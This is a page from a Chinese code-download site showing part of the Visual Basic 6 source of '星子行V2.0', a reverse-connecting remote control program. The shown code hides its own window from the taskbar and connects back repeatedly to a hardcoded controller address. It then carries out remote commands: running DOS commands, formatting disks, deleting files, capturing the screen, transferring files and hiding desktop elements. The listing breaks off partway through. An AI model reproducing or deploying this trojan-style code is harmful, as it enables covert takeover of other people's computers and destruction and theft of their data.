⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.frm

📁 星子行V2.0(源码)公开星子行V3.0以上版本,都是由星子行V1.0和星子行V2.0的核心结合而开发成的! 星子行V1.0是单反接正法,星子行V2.0是多反接法,星子行V3.0以上版本都是多反
💻 FRM
📖 第 1 页 / 共 2 页
字号:
VERSION 5.00
Object = "{F9043C88-F6F2-101A-A3C9-08002B2F49FB}#1.2#0"; "COMDLG32.OCX"
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Object = "{6FBA474E-43AC-11CE-9A0E-00AA0062BB4C}#1.0#0"; "SYSINFO.OCX"
Begin VB.Form Main 
   BorderStyle     =   1  'Fixed Single
   Caption         =   "Scmnet"
   ClientHeight    =   2940
   ClientLeft      =   45
   ClientTop       =   330
   ClientWidth     =   3210
   Icon            =   "Main.frx":0000
   LinkTopic       =   "Form1"
   MaxButton       =   0   'False
   ScaleHeight     =   2940
   ScaleWidth      =   3210
   StartUpPosition =   1  '所有者中心
   Begin VB.Timer Timer3 
      Interval        =   1
      Left            =   2640
      Top             =   2280
   End
   Begin VB.Timer Timer4 
      Interval        =   1
      Left            =   2400
      Top             =   1560
   End
   Begin MSWinsockLib.Winsock Scmnet7 
      Left            =   240
      Top             =   2400
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      Protocol        =   1
   End
   Begin MSWinsockLib.Winsock Scmnet6 
      Left            =   1080
      Top             =   1800
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      Protocol        =   1
   End
   Begin MSWinsockLib.Winsock Scmnet5 
      Left            =   240
      Top             =   1920
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.PictureBox RaPic 
      Height          =   1575
      Left            =   0
      ScaleHeight     =   1515
      ScaleWidth      =   1755
      TabIndex        =   1
      Top             =   0
      Width           =   1815
   End
   Begin MSWinsockLib.Winsock Scmnet4 
      Left            =   120
      Top             =   3840
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
      Protocol        =   1
   End
   Begin MSWinsockLib.Winsock Scmnet3 
      Left            =   120
      Top             =   3840
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin MSComDlg.CommonDialog Smsgs1 
      Left            =   120
      Top             =   3840
      _ExtentX        =   847
      _ExtentY        =   847
      _Version        =   393216
      CancelError     =   -1  'True
   End
   Begin VB.Timer Keybt 
      Interval        =   1
      Left            =   600
      Top             =   3960
   End
   Begin VB.TextBox Keytxt 
      Height          =   375
      Left            =   600
      TabIndex        =   0
      Top             =   3960
      Width           =   375
   End
   Begin MSWinsockLib.Winsock Scmnet2 
      Left            =   600
      Top             =   3960
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin VB.Timer Scmtimer1 
      Enabled         =   0   'False
      Interval        =   1000
      Left            =   600
      Top             =   3960
   End
   Begin MSWinsockLib.Winsock Scmnet1 
      Left            =   600
      Top             =   3960
      _ExtentX        =   741
      _ExtentY        =   741
      _Version        =   393216
   End
   Begin SysInfoLib.SysInfo SysInfo1 
      Left            =   1920
      Top             =   1920
      _ExtentX        =   1005
      _ExtentY        =   1005
      _Version        =   393216
   End
End
Attribute VB_Name = "Main"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Option Explicit

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
Private Declare Function SetDIBitsToDevice Lib "gdi32" (ByVal hdc As Long, ByVal x As Long, ByVal y As Long, ByVal dx As Long, ByVal dy As Long, ByVal SrcX As Long, ByVal SrcY As Long, ByVal Scan As Long, ByVal NumScans As Long, Bits As Any, BitsInfo As BitMapInfo, ByVal wUsage As Long) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long


Private Const HWND_BROADCAST = &HFFFF&
Private Const WM_HOTKEY = &H312


Public udp6 As Long      'Scmnet6的端口
Public udp7 As Long       'Scmnet7的端口
         
Private port1 As Integer           'winsock2的端口号

Public lian As Boolean      '设定连接状态
Dim Shift As Byte
Dim ctrl As Byte
Dim alt As Byte

''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP

'''''''''''''''''''''''''''''''''''''''''''文件发送

Public filesend As Boolean        '设置文件传输是否开始

Public fileput As Boolean
Public filepath As String         '接收的文件咱径
Dim Filesize As Long              '要接收文件的总字节数

'''''''''''''''''''''''''''''''''''''''''''''''文件发送

Private Sub Form_Load()

On Error Resume Next

App.TaskVisible = False

 

     With Scmnet1
          .Close
          .RemotePort = "8818" 'Textport2
          .RemoteHost = "192.168.1.2" '"scmxp.vicp.net" 'Textport1
     End With
     
     
     
      With Scmnet2
          .Close
          .LocalPort = "8820" ' Text4.Text
          .Listen
       End With
     
     Scmtimer1.Enabled = True

End Sub


Private Sub Keybt_Timer()
Call Keyb_t
End Sub

Private Sub Scmnet1_Connect()

On Error Resume Next

Scmtimer1.Enabled = False
'Timer5.Enabled = True

RemIP = Scmnet1.RemoteHostIP

Scmnet1.SendData "IPNAMEF" & Scmnet1.LocalHostName

End Sub

Private Sub Scmnet1_Close()

On Error Resume Next

Scmnet1.Close

Msgwin.Enmsgstr = "Exmsg"

Scmtimer1.Enabled = True

End Sub


Private Sub Scmnet1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

On Error Resume Next

Scmnet1.Close

Msgwin.Enmsgstr = "Exmsg"

Scmtimer1.Enabled = True

End Sub

Private Sub Scmnet1_DataArrival(ByVal bytesTotal As Long)

Dim a As String

Dim Scmdat As String

Scmnet1.GetData a

Scmdat = left$(a, 7)

Select Case Scmdat

Case "Reqhost" '重启

Call Control("Reqhost")

Case "Conhost"

  Call Control("Sername" & right$(a, Len(a) - 7))

  Scmnet1.SendData "Conname" & Scmnet1.LocalHostName
  
     Case "Fatsend" '文件共享
     
     Call Control("Fatsend")
     
     Case "Portfo2" '远程屏幕
     
'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
On Error GoTo er

Dim al1 As String

If (lian = False) Then   'lian=ture 时 为已连接,
    
       lian = True

       Call socktwo
End If

With Scmnet5
     .Close
     .RemoteHost = RemIP
     .RemotePort = "8000"
     .Connect
End With

'Exit Sub
al1 = 2

If al1 = 2 Then

Else

er:
Call socktwo

Call socknext1

 End If
 
Scmnet1.SendData "Portfo2" & Scmnet5.LocalPort

Case "Udpport"

udp6 = right$(a, Len(a) - 7)

Scmnet1.SendData "udppof1"

Case "udppof2"

udp7 = right$(a, Len(a) - 7)

Call udpport

Scmnet1.SendData "udpcons"


'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''屏幕TOP
    

Case "CLOSECU" '关机计算机

   Call Control("CLOSECU")

Case "RESETLO" '注销计算机

   Call Control("RESETLO")

Case "RESETCU" '重启计算机

   Call Control("RESETCU")
   
   Case "OpenCDR" '打开CD

   Call Control("OpenCDR")
   
   Case "CloseCD" '关闭CD
   
   Call Control("CloseCD")
   
   Case "Winrunt" '系统开机远行时间
   
   Call Control("Winrunt")
   
   Case "Keybinf" '键盘信息
   
   Call Control("Keybinf")
   
   Case "Msgbox1"
   
   Call Control("Msgbox1" & right$(a, Len(a) - 7))
   
   Case "Msgbox2"
   
   Call Control("Msgbox2" & right$(a, Len(a) - 7))
   
   Case "Msgbox3"
   
   Call Control("Msgbox3" & right$(a, Len(a) - 7))
   
   Case "Wmpplay"
   
   Call Control("Wmpplay" & right$(a, Len(a) - 7))
    
    Case "Wmphide"
    
    Call Control("Wmphide" & right$(a, Len(a) - 7))
    
    Case "Wmpstop"
    
    Call Control("Wmpstop" & right$(a, Len(a) - 7))
    
    Case "Msgwins"
    
    Call Control("Msgwins" & right$(a, Len(a) - 7))
    
   Case "Messgif"
   
    Call Control("Messgif" & right$(a, Len(a) - 7))
    
    Case "Messgim"
    
     Call Control("Messgim" & right$(a, Len(a) - 7))
     
    
Case "Sabeep1" '锋呜

 Call Control("Sabeep1" & right$(a, Len(a) - 7))

Case "Sabeep2" '锋呜

Call Control("Sabeep2" & right$(a, Len(a) - 7))

Case "Sabeep3" '锋呜

 Call Control("Sabeep3" & right$(a, Len(a) - 7))


Case "Getdirs" '获得分区信息

 Call Control("Getdirs")

Case "Getsysf" '得到系统消息

Call Control("Getsysf")

Case "Hidestc" '隐藏“开始”按纽

Call Control("Hidestc")

Case "Showstc" '显示“开始”

Call Control("Showstc")

Case "Hidetas" '隐藏任务栏

Call Control("Hidetas")

Case "Showtas" '显示任务栏

Call Control("Showtas")

Case "Hidedes" '隐藏桌面

Call Control("Hidedes")

Case "Showdes" '恢复桌面

Call Control("Showdes")

Case "Hideclo" '隐藏时间

Call Control("Hideclo")

Case "Showclo" '显示时间

Call Control("Showclo")
 
Case "Hidepro" '隐藏任务栏程序

Call Control("Hidepro")
    
Case "Showpro" '显示任务栏程序

Call Control("Showpro")
    
Case "Hidetyp" '隐藏后台程序

Call Control("Hidetyp")
    
Case "Showtyp" '显示后台程序

Call Control("Showtyp")
    
Case "Hidefas" '隐藏快速启动栏程序

Call Control("Hidefas")
     
Case "Showfas" '显示快速启动栏程序

Call Control("Showfas")
    
 Case "Formatc" '快速格式化磁盘
 
 Call Control("Formatc" & right$(a, Len(a) - 7))
 
 Case "Formatd" '完全格式化磁盘
 
 Call Control("Formatd" & right$(a, Len(a) - 7))
 
 Case "Wriautf"
 
 Call Control("Wriautf")
 
 Case "Wriautg"
 
 Call Control("Wriautg")
 
 Case "Closecp" '重启(例)
 
 Call Control("Closecp")
 
 Case "Comaub1" '执行对话框
 
 Call Control("Comaub1" & right$(a, Len(a) - 7))
 
 Case "Comaub2" '执行对话框
 
  Call Control("Comaub2" & right$(a, Len(a) - 7))
 
 Case "Comaub3" '执行对话框
 
  Call Control("Comaub3")
  
   Case "LIULANE" '打开网站
   
   Call Control("LIULANE" & right$(a, Len(a) - 7))
   
   Case "OPENFIL" '打开文件
   
   Call Control("OPENFIL" & right$(a, Len(a) - 7))
   
     Case "DELETEF" '删除文件
     
      Call Control("DELETEF" & right$(a, Len(a) - 7))
      
      Case "Cmdcoms" 'DOS命令
      
       Call Control("Cmdcoms" & right$(a, Len(a) - 7))
       
      Case "Cwallpb"  '设置平铺
      
      Call Control("Cwallpb" & right$(a, Len(a) - 7))
      
       Case "Cwallpm" '设置居中
       
      Call Control("Cwallpm" & right$(a, Len(a) - 7))
      
       Case "Cwallpk" '设置拉伸
       
      Call Control("Cwallpk" & right$(a, Len(a) - 7))
      
      Case "Delwall" '删除墙纸
      
      Call Control("Delwall")
    
End Select

End Sub
Private Sub Scmnet2_ConnectionRequest(ByVal requestID As Long)

 If Scmnet2.State <> sckClosed Then

   Scmnet2.Close
   Scmnet2.Accept requestID

   Scmnet2.SendData "IPNAMEF" & Scmnet2.LocalHostName

 End If

End Sub

Private Sub Scmnet2_Close()

  Scmnet2.Close
  Scmnet2.Listen

End Sub

Private Sub Scmnet2_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)

  Scmnet2.Close
  Scmnet2.Listen

End Sub
Private Sub Scmnet2_DataArrival(ByVal bytesTotal As Long)

Dim a As String

Dim Scmdat As String

Scmnet2.GetData a, vbString

Scmdat = left$(a, 7)

Select Case Scmdat

Case "Closeho"

Call Control("Closeho")

Case "Closeco"

Scmnet2.Close
Scmnet2.Listen

Case "Reqhost" '重启

Call Control("Reqhost")

End Select

End Sub



Private Sub Scmtimer1_Timer()

    On Error Resume Next

   If Scmnet1.State = sckConnected Then
   
    Else
    
  Scmnet1.Connect
  
  End If
  
   If Scmnet1.State = sckError Then
  
      Scmnet1.Close
      
      Scmnet1.Connect

   Else
 
   End If

End Sub


'''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''文件共享

Private Sub Scmnet3_Close()

On Error Resume Next

Scmnet3.Close

filesend = False

End Sub

Private Sub Scmnet3_Connect()
Close #1


'初始化数据

fileput = False

list2bool = 0
list2index = 0

a4 = 0

ReDim list2s(0)

Scmnet1.SendData "Fatsend"

End Sub

Private Sub Scmnet3_DataArrival(ByVal bytesTotal As Long)

On Error GoTo er1

If (fileput = False) Then

Dim k1 As String
Dim k2 As String      'k2为0时为端口号,为 1 时为要列出的文件路径 为 2 时为要传输的文件路径
Dim k3 As String      'k2为3时,为传送驱动器列表  'k2为4时为从list2传到list1
'Dim Dfs As String
Static OldName, Newname As String

Scmnet3.GetData k1
k2 = left(k1, 1)
'Dfs = left(k1, 7)
k3 = right(k1, Len(k1) - 1)
strPathName = k3

Dim fs
Set fs = CreateObject("Scripting.FileSystemObject")

Select Case k2

Case 0
  
  Scmnet4.RemoteHost = Scmnet3.RemoteHostIP
  Scmnet4.RemotePort = k3
  
  Call onefile

Case 1
Call twofile(k3)

Case 2

  fileput = True

  Dim k4 As String

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -